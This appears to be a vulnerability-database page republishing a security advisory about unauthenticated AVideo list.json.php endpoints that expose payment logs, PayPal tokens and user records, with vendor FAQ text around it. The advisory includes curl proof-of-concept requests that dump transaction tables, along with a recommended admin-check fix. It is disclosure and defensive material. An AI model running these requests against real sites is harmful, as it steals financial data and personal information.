How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,262

Total vulnerabilities in the database

AVideo: Unauthenticated Access to Payment Log DataTables Endpoints Exposes Transaction Data, PayPal Tokens, and User Financial Records — wwbn / avideo

Exposure of Sensitive Information to an Unauthorized Actor

Summary

Multiple payment plugin list.json.php endpoints lack authentication and authorization checks, allowing unauthenticated attackers to retrieve all payment transaction records including PayPal billing agreement IDs, Express Checkout tokens, Authorize.Net webhook payloads with transaction details, and Bitcoin payment records. This is the same class of vulnerability fixed in the Scheduler plugin (GHSA-j724-5c6c-68g5 / commit 83390ab1f) but the fix was not applied to the remaining 21 affected endpoints.

Details

The AVideo ObjectYPT admin CRUD pattern generates four endpoints per database table: add.json.php, delete.json.php, list.json.php, and an index.php page. In the payment plugins, add.json.php and delete.json.php correctly check User::isAdmin() before proceeding, but the list.json.php endpoints have no authorization check whatsoever.

PayPalYPT_log list endpoint (plugin/PayPalYPT/View/PayPalYPT_log/list.json.php:1-10):

&lt;?php
require_once &#039;../../../../videos/configuration.php&#039;;
require_once $global[&#039;systemRootPath&#039;] . &#039;plugin/PayPalYPT/Objects/PayPalYPT_log.php&#039;;
header(&#039;Content-Type: application/json&#039;);

$rows = PayPalYPT_log::getAll();
$total = PayPalYPT_log::getTotal();
?&gt;
{&quot;data&quot;: &lt;?php echo json_encode($rows); ?&gt;, ...}

No User::isAdmin() check. The getAll() method (inherited from ObjectYPT) executes SELECT * FROM PayPalYPT_log returning all records.

Contrast with the sibling add endpoint (plugin/PayPalYPT/View/PayPalYPT_log/add.json.php:13-16):

if (!User::isAdmin()) {
    $obj-&gt;msg = &quot;You can&#039;t do this&quot;;
    die(json_encode($obj));
}

The configuration.php bootstrap file performs no global authentication gating — it initializes the application framework but does not enforce auth. No .htaccess rules restrict access to plugin View directories.

Data model (plugin/PayPalYPT/Objects/PayPalYPT_log.php): Each record contains agreement_id, users_id, json (full PayPal API response), recurring_payment_id, value (payment amount), and token (PayPal Express Checkout token).

The identical pattern exists in:

plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php — full Authorize.Net webhook payloads
plugin/BTCPayments/View/Btc_payments/list.json.php — Bitcoin transaction identifiers and amounts

This was the exact same vulnerability class patched in commit 83390ab1f for the Scheduler plugin (GHSA-j724-5c6c-68g5), but the fix was only applied to the 3 Scheduler endpoints. A total of 21 list.json.php endpoints across the codebase remain unprotected.

PoC

Step 1 — Dump PayPal transaction logs (unauthenticated):

curl -s &#039;https://target.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php&#039;

Returns all PayPal transaction records including agreement IDs, tokens, payment amounts, user IDs, and full PayPal API JSON responses.

Step 2 — Dump Authorize.Net webhook logs (unauthenticated):

curl -s &#039;https://target.com/plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php&#039;

Returns all Authorize.Net webhook payloads including transaction IDs, event types, and payment details.

Step 3 — Dump Bitcoin payment records (unauthenticated):

curl -s &#039;https://target.com/plugin/BTCPayments/View/Btc_payments/list.json.php&#039;

Returns all Bitcoin transaction identifiers, BTC amounts, and store identifiers.

Step 4 — Confirm sibling endpoints ARE protected:

curl -s -X POST &#039;https://target.com/plugin/PayPalYPT/View/PayPalYPT_log/add.json.php&#039;
# Returns: {&quot;error&quot;:true,&quot;msg&quot;:&quot;You can&#039;t do this&quot;}

Impact

Financial data exposure: Unauthenticated attackers can retrieve all payment transaction records across PayPal, Authorize.Net, and Bitcoin payment providers.
Token leakage: PayPal Express Checkout tokens and billing agreement IDs are exposed, potentially enabling payment manipulation or account correlation.
PII leakage: Transaction records contain user ID mappings, payment amounts, and full API responses that may include payer email addresses and names.
Broad scope: 21 total list.json.php endpoints lack auth, also exposing live streaming server infrastructure (Live_servers), user connection data, meeting participation logs, and AI transcription responses.
Zero interaction required: No authentication, no user interaction — a single GET request dumps the entire table.

Recommended Fix

Add User::isAdmin() checks to all unprotected list.json.php endpoints, matching the pattern used in the Scheduler fix (commit 83390ab1f). For each affected file, add immediately after the require_once and header() lines:

if (!User::isAdmin()) {
    $obj = new stdClass();
    $obj-&gt;error = true;
    $obj-&gt;msg = &quot;You can&#039;t do this&quot;;
    die(json_encode($obj));
}

The full list of files requiring this fix:

plugin/PayPalYPT/View/PayPalYPT_log/list.json.php
plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php
plugin/BTCPayments/View/Btc_payments/list.json.php
plugin/AI/View/Ai_responses/list.json.php
plugin/AI/View/Ai_metatags_responses/list.json.php
plugin/AI/View/Ai_transcribe_responses/list.json.php
plugin/Live/view/Live_servers/list.json.php
plugin/Live/view/Live_schedule/list.json.php
plugin/Live/view/Live_restreams_logs/list.json.php
plugin/SocialMediaPublisher/View/Publisher_schedule/list.json.php
plugin/SocialMediaPublisher/View/Publisher_social_medias/list.json.php
plugin/Meet/View/Meet_join_log/list.json.php
plugin/Meet/View/Meet_schedule_has_users_groups/list.json.php
plugin/PlayLists/View/Playlists_schedules/list.json.php
plugin/UserConnections/View/Users_connections/list.json.php
plugin/UserNotifications/View/User_notifications/list.json.php
plugin/VideosStatistics/View/Statistics/list.json.php
plugin/VideoTags/View/Tags_subscriptions/list.json.php
plugin/CustomizeUser/View/Categories_has_users_groups/list.json.php
plugin/CustomizeUser/View/Users_extra_info/list.json.php
plugin/ImageGallery/list.json.php

Published: Mar 29, 2026
Updated: Mar 30, 2026
GHSA: GHSA-wprj-9cvc-5w37
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWEs:

Affected Software
References

Software	From	Fixed in
wwbn / avideo	-	26.0.x

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.